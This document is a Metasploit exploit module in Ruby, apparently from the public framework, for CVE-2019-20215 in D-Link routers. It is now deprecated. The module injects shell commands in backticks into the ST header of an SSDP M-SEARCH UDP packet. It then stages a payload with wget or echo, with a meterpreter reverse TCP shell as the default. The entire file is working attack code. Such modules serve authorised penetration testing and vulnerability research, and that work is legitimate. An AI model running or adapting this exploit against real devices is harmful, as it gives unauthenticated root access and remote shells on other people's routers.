1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Udp
10
  include Msf::Exploit::CmdStager
11
  include Msf::Module::Deprecated
12

13
  deprecated(Date.new(2024, 12, 1), 'Use `exploit/linux/upnp/dlink_upnp_msearch_exec` instead')
14

15
  def initialize(info = {})
16
    super(
17
      update_info(
18
        info,
19
        'Name' => 'D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi',
20
        'Description' => %q{
21
          D-Link Devices Unauthenticated Remote Command Execution in ssdpcgi.
22
        },
23
        'Author' => [
24
          's1kr10s',
25
          'secenv'
26
        ],
27
        'License' => MSF_LICENSE,
28
        'References' => [
29
          ['CVE', '2019-20215'],
30
          ['URL', 'https://medium.com/@s1kr10s/2e799acb8a73']
31
        ],
32
        'DisclosureDate' => '2019-12-24',
33
        'Privileged' => true,
34
        'Platform' => 'linux',
35
        'Arch' => ARCH_MIPSBE,
36
        'DefaultOptions' => {
37
          'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp',
38
          'CMDSTAGER::FLAVOR' => 'wget',
39
          'RPORT' => '1900'
40
        },
41
        'Targets' => [
42
          [ 'Auto',	{} ],
43
        ],
44
        'CmdStagerFlavor' => %w[echo wget],
45
        'DefaultTarget' => 0,
46
        'Notes' => {
47
          'Stability' => [CRASH_SAFE],
48
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
49
          'Reliability' => [REPEATABLE_SESSION]
50
        }
51
      )
52
    )
53

54
    register_options(
55
      [
56
        Msf::OptEnum.new('VECTOR', [true, 'Header through which to exploit the vulnerability', 'URN', ['URN', 'UUID']])
57
      ]
58
    )
59
  end
60

61
  def exploit
62
    execute_cmdstager(linemax: 1500)
63
  end
64

65
  def execute_command(cmd, _opts)
66
    type = datastore['VECTOR']
67
    if type == 'URN'
68
      print_status('Target Payload URN')
69
      val = "urn:device:1;`#{cmd}`"
70
    else
71
      print_status('Target Payload UUID')
72
      val = "uuid:`#{cmd}`"
73
    end
74

75
    connect_udp
76
    header = "M-SEARCH * HTTP/1.1\r\n"
77
    header << "Host:239.255.255.250: #{datastore['RPORT']}\r\n"
78
    header << "ST:#{val}\r\n"
79
    header << "Man:\"ssdp:discover\"\r\n"
80
    header << "MX:2\r\n\r\n"
81
    udp_sock.put(header)
82
    disconnect_udp
83
  end
84
end
85

86